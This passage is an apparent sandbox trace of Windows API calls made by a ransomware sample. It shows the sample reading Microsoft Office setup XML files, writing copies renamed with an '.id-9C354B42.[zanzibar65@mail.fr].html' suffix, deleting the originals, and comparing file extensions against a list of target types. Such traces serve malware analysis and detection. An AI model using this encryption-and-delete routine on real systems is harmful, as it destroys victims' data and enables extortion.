dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0040.336] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=31094) returned 1 [0040.336] CloseHandle (hObject=0x1d8) returned 1 [0040.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0040.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.533] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.533] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0040.737] GetLastError () returned 0x0 [0040.737] ReadFile (in: hFile=0x1e8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x7976, lpOverlapped=0x0) returned 1 [0040.739] WriteFile (in: hFile=0x1f0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x7980, lpOverlapped=0x0) returned 1 [0040.740] ReadFile (in: hFile=0x1e8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0040.740] WriteFile (in: hFile=0x1f0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.740] SetEndOfFile (hFile=0x1f0) returned 1 [0040.740] CloseHandle (hObject=0x1f0) returned 1 [0040.741] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.741] SetEndOfFile (hFile=0x1e8) returned 1 [0040.742] CloseHandle (hObject=0x1e8) returned 1 [0040.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.743] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1 [0040.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0040.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0040.743] lstrlenW (lpString=".doc") returned 4 [0040.743] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.743] lstrlenW (lpString=".docx") returned 5 [0040.743] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.743] lstrlenW (lpString=".pdf") returned 4 [0040.743] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.743] lstrlenW (lpString=".xls") returned 4 [0040.743] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.743] lstrlenW (lpString=".xlsx") returned 5 [0040.743] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.743] lstrlenW (lpString=".ppt") returned 4 [0040.743] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0040.743] lstrlenW (lpString=".zip") returned 4 [0040.743] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.743] lstrlenW (lpString=".rar") returned 4 [0040.744] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.744] lstrlenW (lpString=".bz2") returned 4 [0040.744] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.744] lstrlenW (lpString=".7z") returned 3 [0040.744] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0040.744] lstrlenW (lpString=".dbf") returned 4 [0040.744] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0040.744] lstrlenW (lpString=".1cd") returned 4 [0040.744] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0040.744] lstrlenW (lpString=".jpg") returned 4 [0040.744] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0040.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0040.744] lstrlenW (lpString=".doc") returned 4 [0040.744] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.744] lstrlenW (lpString=".docx") returned 5 [0040.744] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.744] lstrlenW (lpString=".pdf") returned 4 [0040.744] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.744] lstrlenW (lpString=".xls") returned 4 [0040.744] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.744] lstrlenW (lpString=".xlsx") returned 5 [0040.744] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.744] lstrlenW (lpString=".ppt") returned 4 [0040.744] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0040.744] lstrlenW (lpString=".zip") returned 4 [0040.744] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.745] lstrlenW (lpString=".rar") returned 4 [0040.745] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.745] lstrlenW (lpString=".bz2") returned 4 [0040.745] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.745] lstrlenW (lpString=".7z") returned 3 [0040.745] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0040.745] lstrlenW (lpString=".dbf") returned 4 [0040.745] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0040.745] lstrlenW (lpString=".1cd") returned 4 [0040.745] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0040.745] lstrlenW (lpString=".jpg") returned 4 [0040.745] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.745] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.745] lstrlenW (lpString="VisiorWW.XML") returned 12 [0040.745] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.745] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=8723) returned 1 [0040.745] CloseHandle (hObject=0x1e8) returned 1 [0040.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0040.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.746] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.746] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0040.747] GetLastError () returned 0x0 [0040.748] ReadFile (in: hFile=0x1e8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x2213, lpOverlapped=0x0) returned 1 [0040.749] WriteFile (in: hFile=0x1f0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x2220, lpOverlapped=0x0) returned 1 [0040.750] ReadFile (in: hFile=0x1e8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0040.750] WriteFile (in: hFile=0x1f0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.750] SetEndOfFile (hFile=0x1f0) returned 1 [0040.753] CloseHandle (hObject=0x1f0) returned 1 [0040.753] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.753] SetEndOfFile (hFile=0x1e8) returned 1 [0040.754] CloseHandle (hObject=0x1e8) returned 1 [0040.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.754] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1 [0040.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0040.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0040.755] lstrlenW (lpString=".doc") returned 4 [0040.755] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.755] lstrlenW (lpString=".docx") returned 5 [0040.755] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0040.755] lstrlenW (lpString=".pdf") returned 4 [0040.755] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.755] lstrlenW (lpString=".xls") returned 4 [0040.755] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.755] lstrlenW (lpString=".xlsx") returned 5 [0040.755] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0040.755] lstrlenW (lpString=".ppt") returned 4 [0040.755] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0040.755] lstrlenW (lpString=".zip") returned 4 [0040.755] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.755] lstrlenW (lpString=".rar") returned 4 [0040.755] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.755] lstrlenW (lpString=".bz2") returned 4 [0040.755] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.755] lstrlenW (lpString=".7z") returned 3 [0040.755] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0040.755] lstrlenW (lpString=".dbf") returned 4 [0040.755] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0040.756] lstrlenW (lpString=".1cd") returned 4 [0040.756] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0040.756] lstrlenW (lpString=".jpg") returned 4 [0040.756] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0040.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0040.756] lstrlenW (lpString=".doc") returned 4 [0040.756] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.756] lstrlenW (lpString=".docx") returned 5 [0040.756] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0040.756] lstrlenW (lpString=".pdf") returned 4 [0040.756] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.756] lstrlenW (lpString=".xls") returned 4 [0040.756] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.756] lstrlenW (lpString=".xlsx") returned 5 [0040.756] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0040.756] lstrlenW (lpString=".ppt") returned 4 [0040.756] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0040.756] lstrlenW (lpString=".zip") returned 4 [0040.756] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.756] lstrlenW (lpString=".rar") returned 4 [0040.756] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.756] lstrlenW (lpString=".bz2") returned 4 [0040.756] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.756] lstrlenW (lpString=".7z") returned 3 [0040.756] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0040.756] lstrlenW (lpString=".dbf") returned 4 [0040.756] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0040.757] lstrlenW (lpString=".1cd") returned 4 [0040.757] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0040.757] lstrlenW (lpString=".jpg") returned 4 [0040.757] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.757] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.757] lstrlenW (lpString="SETUP.XML") returned 9 [0040.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.758] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=2424) returned 1 [0040.758] CloseHandle (hObject=0x1e8) returned 1 [0040.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0040.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.758] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.758] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0040.759] GetLastError () returned 0x0 [0040.759] ReadFile (in: hFile=0x1e8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x978, lpOverlapped=0x0) returned 1 [0040.760] WriteFile (in: hFile=0x1f0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x980, lpOverlapped=0x0) returned 1 [0040.761] ReadFile (in: hFile=0x1e8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0040.761] WriteFile (in: hFile=0x1f0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.761] SetEndOfFile (hFile=0x1f0) returned 1 [0040.761] CloseHandle (hObject=0x1f0) returned 1 [0040.762] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.762] SetEndOfFile (hFile=0x1e8) returned 1 [0040.762] CloseHandle (hObject=0x1e8) returned 1 [0040.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.763] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1 [0040.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0040.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0040.763] lstrlenW (lpString=".doc") returned 4 [0040.763] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.763] lstrlenW (lpString=".docx") returned 5 [0040.763] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.763] lstrlenW (lpString=".pdf") returned 4 [0040.763] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.763] lstrlenW (lpString=".xls") returned 4 [0040.763] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.763] lstrlenW (lpString=".xlsx") returned 5 [0040.763] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.763] lstrlenW (lpString=".ppt") returned 4 [0040.763] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0040.763] lstrlenW (lpString=".zip") returned 4 [0040.763] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.763] lstrlenW (lpString=".rar") returned 4 [0040.763] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.763] lstrlenW (lpString=".bz2") returned 4 [0040.763] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.763] lstrlenW (lpString=".7z") returned 3 [0040.764] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0040.764] lstrlenW (lpString=".dbf") returned 4 [0040.764] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0040.764] lstrlenW (lpString=".1cd") returned 4 [0040.764] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0040.764] lstrlenW (lpString=".jpg") returned 4 [0040.764] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0040.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0040.764] lstrlenW (lpString=".doc") returned 4 [0040.764] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.764] lstrlenW (lpString=".docx") returned 5 [0040.764] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.764] lstrlenW (lpString=".pdf") returned 4 [0040.764] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.764] lstrlenW (lpString=".xls") returned 4 [0040.764] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.764] lstrlenW (lpString=".xlsx") returned 5 [0040.764] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.764] lstrlenW (lpString=".ppt") returned 4 [0040.764] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0040.764] lstrlenW (lpString=".zip") returned 4 [0040.764] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.764] lstrlenW (lpString=".rar") returned 4 [0040.764] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.764] lstrlenW (lpString=".bz2") returned 4 [0040.764] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.765] lstrlenW (lpString=".7z") returned 3 [0040.765] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0040.765] lstrlenW (lpString=".dbf") returned 4 